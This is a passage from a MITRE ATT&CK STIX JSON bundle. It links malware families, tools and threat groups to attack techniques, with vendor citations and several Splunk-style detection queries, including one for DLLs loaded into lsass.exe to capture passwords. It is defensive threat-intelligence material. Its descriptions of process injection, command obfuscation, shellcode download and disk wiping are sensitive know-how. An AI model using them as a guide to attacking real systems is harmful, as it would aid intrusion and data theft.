            "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) injects into the Internet Explorer process.(Citation: Talos Smoke Loader July 2018)",
            "relationship_type": "uses",
            "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--95ef5734-a617-44c1-aee8-bddfadaab6d1",
            "created": "2022-03-30T14:26:51.848Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:00:38.932Z",
            "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
            "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--95f2f687-4a70-4611-a420-2b8b53e2ee26",
            "created": "2020-05-20T19:54:06.570Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:00:39.117Z",
            "description": "[USBferry](https://attack.mitre.org/software/S0452) can execute rundll32.exe in memory to avoid detection.(Citation: TrendMicro Tropic Trooper May 2020)\t",
            "relationship_type": "uses",
            "source_ref": "malware--75bba379-4ba1-467e-8c60-ec2b269ee984",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--95f54d2e-cfa0-4afc-a5f4-9da7da55242a",
            "created": "2019-04-12T15:55:48.091Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:33:13.008Z",
            "description": "[APT38](https://attack.mitre.org/groups/G0082) has used a custom MBR wiper named BOOTWRECK to render systems inoperable.(Citation: FireEye APT38 Oct 2018)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340",
            "target_ref": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--95f55522-39ba-4724-899f-b33178c6da74",
            "created": "2022-03-30T14:26:51.847Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:33:13.248Z",
            "description": "Monitor for unusual Bluetooth device pairings, inbound or outbound Bluetooth connections from unexpected processes, or unexpected activation of Bluetooth Personal Area Network (PAN) services.\n\nAnalytic 1 - Detecting Unauthorized Bluetooth Network Connections\n\n<code>(EventCode=3 OR EventCode=10400)\nOR (source=\"zeek_conn.log\" interface IN (\"bt0\"))\n| eval risk_score=case(\n    interface IN (\"bt0\"), 9,\n    process_name IN (\"bluetoothctl\", \"bttransfer\"), 8\n)\n| where risk_score >= 8\n| stats count by _time, host, user, interface, dest_device, risk_score </code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
            "target_ref": "attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--95f6f70c-b48a-4aa2-8c9e-fc680bf75f01",
            "created": "2022-03-30T14:26:51.872Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:33:13.467Z",
            "description": "Monitor for executed processes (such as ipconfig/ifconfig and arp) with arguments that may look for details about the network configuration and settings, such as IP and/or MAC addresses.\n\nNote: The Analytic looks for the creation of [ipconfig](https://attack.mitre.org/software/S0100), [route](https://attack.mitre.org/software/S0103), and [nbtstat](https://attack.mitre.org/software/S0102) processes, all of which are system administration utilities that can be used for the purpose of system network configuration discovery. If these tools are commonly used in your environment (e.g., by system administrators) this may lead to false positives and this analytic will therefore require tuning. \n\nAnalytic 1 - Suspicious Process\n\n<code>(sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (sourcetype=\"WinEventLog:Security\" EventCode=\"4688\") AND\n  (Image=\"C:\\\\Windows\\\\System32\\\\ipconfig.exe\" OR\n   Image=\"C:\\\\Windows\\\\System32\\\\route.exe\" OR\n   Image=\"C:\\\\Windows\\\\System32\\\\nbtstat.exe\")</code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--95fac0e8-32e3-4854-b542-5eb897d76f2e",
            "created": "2019-04-23T14:59:04.098Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "GitHub PoshC2",
                    "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019.",
                    "url": "https://github.com/nettitude/PoshC2_Python"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:00:39.600Z",
            "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains multiple modules for injecting into processes, such as <code>Invoke-PSInject</code>.(Citation: GitHub PoshC2)",
            "relationship_type": "uses",
            "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--95fc8b91-eda2-49e9-b2fb-b3cdfacc0eaa",
            "created": "2021-06-18T15:26:55.711Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Unit 42 Siloscape Jun 2021",
                    "description": "Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/siloscape/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:00:39.785Z",
            "description": "[Siloscape](https://attack.mitre.org/software/S0623) has decrypted the password of the C2 server with a simple byte by byte XOR. [Siloscape](https://attack.mitre.org/software/S0623) also writes both an archive of [Tor](https://attack.mitre.org/software/S0183) and the <code>unzip</code> binary to disk from data embedded within the payload using Visual Studio\u2019s Resource Manager.(Citation: Unit 42 Siloscape Jun 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--95fc970d-98cd-4bc9-895a-9534ba89c795",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "FireEye Obfuscation June 2017",
                    "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
                    "url": "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"
                },
                {
                    "source_name": "FireEye FIN7 Aug 2018",
                    "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
                },
                {
                    "source_name": "CrowdStrike Carbon Spider August 2021",
                    "description": "Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.",
                    "url": "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:33:14.103Z",
            "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used fragmented strings, environment variables, standard input (stdin), and native character-replacement functionalities to obfuscate commands.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "target_ref": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--96000a4e-1431-494e-8f2c-ad9c5d17b8dd",
            "created": "2025-03-27T18:37:18.121Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-04-16T22:33:14.314Z",
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            "description": "Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious",
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            "modified": "2025-04-28T16:00:40.351Z",
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                    "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.",
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            "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can modify service configurations.(Citation: Palo Alto Networks BBSRAT)",
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                    "description": "Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021.",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--979bd2a9-bc77-4741-bc79-0badc9e1e98c",
            "created": "2021-03-19T16:26:04.435Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "wardle evilquest parti",
                    "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021.",
                    "url": "https://objective-see.com/blog/blog_0x59.html"
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T16:00:59.197Z",
            "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) installs a launch item using an embedded encrypted launch agent property list template. The plist file is installed in the <code>~/Library/LaunchAgents/</code> folder and configured with the path to the persistent binary located in the <code>~/Library/</code> folder.(Citation: wardle evilquest parti)",
            "relationship_type": "uses",
            "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923",
            "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584",
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            "spec_version": "2.1",
            "id": "relationship--979f2834-66f6-4a30-863e-d63bd1db10a3",
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            "modified": "2025-04-16T22:33:41.008Z",
            "description": "Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.  Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "relationship_type": "detects",
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                {
                    "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018",
                    "description": "Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.",
                    "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"
                },
                {
                    "source_name": "Kaspersky Lab SynAck May 2018",
                    "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.",
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            "description": "[SynAck](https://attack.mitre.org/software/S0242) enumerates all running services.(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)(Citation: Kaspersky Lab SynAck May 2018)",
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            "revoked": false,
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                    "source_name": "Cybereason StealBit Exfiltration Tool",
                    "description": "Cybereason Global SOC Team. (n.d.). THREAT ANALYSIS REPORT: Inside the LockBit Arsenal - The StealBit Exfiltration Tool. Retrieved January 29, 2025.",
                    "url": "https://www.cybereason.com/blog/research/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool"
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            "description": "[StealBit](https://attack.mitre.org/software/S1200) can enumerate the computer name and domain membership of the compromised system.(Citation: Cybereason StealBit Exfiltration Tool)",
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            "x_mitre_deprecated": false,
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            "spec_version": "2.1",
            "id": "relationship--97a62430-6a83-4ead-b8c7-ce47f5d0cac0",
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            "revoked": false,
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                    "source_name": "Mandiant FIN12 Oct 2021",
                    "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.",
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            ],
            "modified": "2025-04-16T22:33:41.654Z",
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has staged ZIP files in local directories such as, `C:\\PerfLogs\\1\\` and `C:\\User\\1\\` prior to exfiltration.(Citation: Mandiant FIN12 Oct 2021)",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "spec_version": "2.1",
            "id": "relationship--97a68907-3642-4f23-aeae-55ad5bbd7b86",
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                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
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            ],
            "modified": "2025-04-28T16:00:59.883Z",
            "description": "[FruitFly](https://attack.mitre.org/software/S0277) takes screenshots of the user's desktop.(Citation: objsee mac malware 2017)",
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        },
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            "spec_version": "2.1",
            "id": "relationship--97aa311a-04b1-473f-a298-1d230c82e881",
            "created": "2021-09-14T16:04:26.821Z",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "NCC Group WastedLocker June 2020",
                    "description": "Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021.",
                    "url": "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/"
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            ],
            "modified": "2025-04-16T22:33:42.096Z",
            "description": "[WastedLocker](https://attack.mitre.org/software/S0612) contains junk code to increase its entropy and hide the actual code.(Citation: NCC Group WastedLocker June 2020)",
            "relationship_type": "uses",
            "source_ref": "malware--46cbafbc-8907-42d3-9002-5327c26f8927",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "spec_version": "2.1",
            "id": "relationship--97aea4a9-1016-40d0-8869-9b4c4d4eec72",
            "created": "2022-01-18T18:07:56.219Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "CrowdStrike AQUATIC PANDA December 2021",
                    "description": "Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022.",
                    "url": "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/"
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            ],
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            ],
            "modified": "2025-04-28T16:01:00.161Z",
            "description": "[Aquatic Panda](https://attack.mitre.org/groups/G0143) has attempted to stop endpoint detection and response (EDR) tools on compromised systems.(Citation: CrowdStrike AQUATIC PANDA December 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11",
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            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "id": "relationship--97b0f29c-343d-40fc-a37f-85d65ed26ba6",
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            "revoked": false,
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                    "source_name": "CISA AA24-038A PRC Critical Infrastructure February 2024",
                    "description": "CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.",
                    "url": "https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"
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            ],
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            "description": "\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used `netsh` to create a PortProxy Registry modification on a compromised server running the Paessler Router Traffic Grapher (PRTG).(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)",
            "relationship_type": "uses",
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        },
        {
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            "spec_version": "2.1",
            "id": "relationship--97b13d6e-ad8d-42db-90cf-90c7189763cb",
            "created": "2022-02-17T14:31:53.351Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Symantec Shuckworm January 2022",
                    "description": "Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022.",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine"
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            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:01:00.451Z",
            "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can use a malicious VBS file for execution.(Citation: Symantec Shuckworm January 2022)",
            "relationship_type": "uses",
            "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
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            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "spec_version": "2.1",
            "id": "relationship--97b55f86-908f-4de2-ba9a-d65005b0f4dc",
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                {
                    "source_name": "Proofpoint TA416 Europe March 2022",
                    "description": "Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european"
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            "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has used servers under their control to validate tracking pixels sent to phishing victims.(Citation: Proofpoint TA416 Europe March 2022)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "spec_version": "2.1",
            "id": "relationship--97b7c8f4-d3b2-4992-8801-c62c68a17eca",
            "created": "2025-03-14T13:04:52.126Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                {
                    "source_name": "Microsoft Storm-1811 2024",
                    "description": "Microsoft Threat Intelligence. (2024, May 15). Threat actors misusing Quick Assist in social engineering attacks leading to ransomware. Retrieved March 14, 2025.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/"
                }
            ],
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            ],
            "modified": "2025-04-16T22:33:43.400Z",
            "description": "[Storm-1811](https://attack.mitre.org/groups/G1046) has used OpenSSH to establish an SSH tunnel to victims for persistent access.(Citation: Microsoft Storm-1811 2024)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6",
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            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "id": "relationship--97bb6552-08cc-4c75-938f-fde6041f114b",
            "created": "2025-01-06T22:52:12.656Z",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "WithSecure Kapeka 2024",
                    "description": "Mohammad Kazem Hassan Nejad, WithSecure. (2024, April 17). KAPEKA A novel backdoor spotted in Eastern Europe. Retrieved January 6, 2025.",
                    "url": "https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Research-Kapeka.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T22:33:43.600Z",
            "description": "[Kapeka](https://attack.mitre.org/software/S1190) utilizes JSON objects to send and receive information from command and control nodes.(Citation: WithSecure Kapeka 2024)",
            "relationship_type": "uses",
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                    "source_name": "Kaspersky TajMahal April 2019",
                    "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019.",
                    "url": "https://securelist.com/project-tajmahal/90240/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:01:03.146Z",
            "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to identify the MAC address on an infected host.(Citation: Kaspersky TajMahal April 2019)",
            "relationship_type": "uses",
            "source_ref": "malware--b51797f7-57da-4210-b8ac-b8632ee75d70",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--97e31242-661f-4aae-866d-26d32fbb88c4",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Clymb3r Function Hook Passwords Sept 2013",
                    "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
                    "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:33:46.562Z",
            "description": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nAnalytic 1 - Unauthorized DLL loads in critical systems.\n\n<code>index=windows_logs sourcetype=\"XmlWinEventLog:Microsoft-Windows-Sysmon/Operational\"\n| search EventCode=7 [search index=windows_logs EventCode=4688 (ProcessName=\"*lsass.exe\" OR ProcessName=\"*winlogon.exe\") | fields ProcessID]\n| eval dll_path=coalesce(ImageLoaded, Image)\n| search dll_path=\"*\\\\System32\\\\*\" OR dll_path=\"*\\\\SysWOW64\\\\*\"\n| rex field=dll_path \".*\\\\(?<dll_name>[^\\\\]+\\.dll)$\" </code>",
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            "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
            "target_ref": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--97e7c5ec-8f7e-48a8-9ef4-f736e6e481bf",
            "created": "2024-08-07T20:32:10.405Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Mandiant ROADSWEEP August 2022",
                    "description": "Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:33:46.786Z",
            "description": "[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) has the ability to support keylogging.(Citation: Mandiant ROADSWEEP August 2022)",
            "relationship_type": "uses",
            "source_ref": "malware--542e3384-341a-455b-bb48-4917b25e3b00",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--97ea3b82-58ba-4a3e-8e6d-367755f83fa6",
            "created": "2017-05-31T21:33:27.071Z",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "FireEye FIN6 April 2016",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190807112824/https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf"
                },
                {
                    "source_name": "FireEye FIN6 Apr 2019",
                    "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html"
                },
                {
                    "source_name": "Visa FIN6 Feb 2019",
                    "description": "Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.",
                    "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf"
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:33:46.989Z",
            "description": " [FIN6](https://attack.mitre.org/groups/G0037) has used PowerShell to gain access to merchant's networks, and a Metasploit PowerShell module to download and execute shellcode and to set up a local listener.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)(Citation: Visa FIN6 Feb 2019)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--97ed3a58-55a7-4dad-bf63-e2f535bec6d0",
            "created": "2022-03-30T14:26:51.874Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T22:33:47.185Z",
